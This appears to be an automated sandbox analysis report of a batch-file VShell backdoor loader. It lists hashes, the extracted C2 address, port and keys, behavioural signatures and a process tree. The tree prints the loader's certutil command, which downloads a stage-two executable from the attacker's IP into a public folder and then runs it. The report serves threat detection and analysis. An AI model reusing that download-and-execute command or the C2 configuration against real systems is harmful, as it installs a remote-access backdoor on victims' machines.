Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/09/2026, 12:34
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 501B
- Sample260907-pr4msaxaqc
- SHA256 1e94b9e48df181e098c371ae9d98ff999dcb0d8d869a65e02f636819a68357b9
- MD5 c8d98918c71f5ea7fb81d66fc0940cd6
- SHA1 31b1cbb3e9d158127e3a63544076c103a46ea5b5
- SHA512 a84c1203e60294692e1e12727718cd2072dac43c98e982562b8f0a02167da2e5ea4d856047a55765643f15d2b34a7b0beeaab450d5969d4a4a3a657542fe4f74
- TLSH T193F09ECD54167D710FC7C857B44591D1B1CE989787B0CB0C6E8095D92E9D09912EF682
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://103.242.12.143
Attributes
-
port
1234
-
salt
kkk1qaz!
-
type
ws
-
vkey
kkk1qaz!
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/1536-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 4252 certutil.exe 5 4252 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 1536 cf9738fews.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2456 cmd.exe 4112 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5152 WMIC.exe 5152 WMIC.exe 5152 WMIC.exe 5152 WMIC.exe 1536 cf9738fews.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5152 WMIC.exe Token: SeSecurityPrivilege 5152 WMIC.exe Token: SeTakeOwnershipPrivilege 5152 WMIC.exe Token: SeLoadDriverPrivilege 5152 WMIC.exe Token: SeSystemProfilePrivilege 5152 WMIC.exe Token: SeSystemtimePrivilege 5152 WMIC.exe Token: SeProfSingleProcessPrivilege 5152 WMIC.exe Token: SeIncBasePriorityPrivilege 5152 WMIC.exe Token: SeCreatePagefilePrivilege 5152 WMIC.exe Token: SeBackupPrivilege 5152 WMIC.exe Token: SeRestorePrivilege 5152 WMIC.exe Token: SeShutdownPrivilege 5152 WMIC.exe Token: SeDebugPrivilege 5152 WMIC.exe Token: SeSystemEnvironmentPrivilege 5152 WMIC.exe Token: SeRemoteShutdownPrivilege 5152 WMIC.exe Token: SeUndockPrivilege 5152 WMIC.exe Token: SeManageVolumePrivilege 5152 WMIC.exe Token: 33 5152 WMIC.exe Token: 34 5152 WMIC.exe Token: 35 5152 WMIC.exe Token: 36 5152 WMIC.exe Token: SeIncreaseQuotaPrivilege 5152 WMIC.exe Token: SeSecurityPrivilege 5152 WMIC.exe Token: SeTakeOwnershipPrivilege 5152 WMIC.exe Token: SeLoadDriverPrivilege 5152 WMIC.exe Token: SeSystemProfilePrivilege 5152 WMIC.exe Token: SeSystemtimePrivilege 5152 WMIC.exe Token: SeProfSingleProcessPrivilege 5152 WMIC.exe Token: SeIncBasePriorityPrivilege 5152 WMIC.exe Token: SeCreatePagefilePrivilege 5152 WMIC.exe Token: SeBackupPrivilege 5152 WMIC.exe Token: SeRestorePrivilege 5152 WMIC.exe Token: SeShutdownPrivilege 5152 WMIC.exe Token: SeDebugPrivilege 5152 WMIC.exe Token: SeSystemEnvironmentPrivilege 5152 WMIC.exe Token: SeRemoteShutdownPrivilege 5152 WMIC.exe Token: SeUndockPrivilege 5152 WMIC.exe Token: SeManageVolumePrivilege 5152 WMIC.exe Token: 33 5152 WMIC.exe Token: 34 5152 WMIC.exe Token: 35 5152 WMIC.exe Token: 36 5152 WMIC.exe Token: SeDebugPrivilege 1536 cf9738fews.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2456 wrote to memory of 4112 2456 cmd.exe 90 PID 4112 wrote to memory of 5152 4112 cmd.exe 91 PID 4112 wrote to memory of 5676 4112 cmd.exe 92 PID 2456 wrote to memory of 4252 2456 cmd.exe 94 PID 2456 wrote to memory of 1536 2456 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5152
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:5676
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://103.242.12.143:1234/?h=103.242.12.143&p=1234&t=ws&a=w64&stage=true" "C:\Users\Public\cf9738fews.exe"2⤵
- Downloads MZ/PE file
PID:4252
-
-
C:\Users\Public\cf9738fews.exe"C:\Users\Public\cf9738fews.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1536
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\cf9738fews.exe
- Size 4KB
- SHA256 9ce8e6ed0c77eb573469d826cc752d284918ab4fa254adf054fd3de245ddf9d0
- MD5 300b699cdcb734370f72331d7dec4444
- SHA1 fe200c27f17fc8b772c9f40ada913d43bd8378bc
- SHA512 24af87378ce9474c1939adfb4f1543fb45804ebda7782ddfbd1ee6c27cc9040264a67f0bfad869950547128fa2236a7f2c4131a3bc51d62697aeb9d6763eac56
- SSDEEP 48:6IIF9BlQaex3gZ17An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMaC0cF50uDxUOvXeg
- TLSH T1BE91D64170B988E7E85C41BF4C0FB8A0B919780A41C483A60338A5953F3A57BF07CB0D
- MD5 SHA1 SHA512 SSDEEP TLSH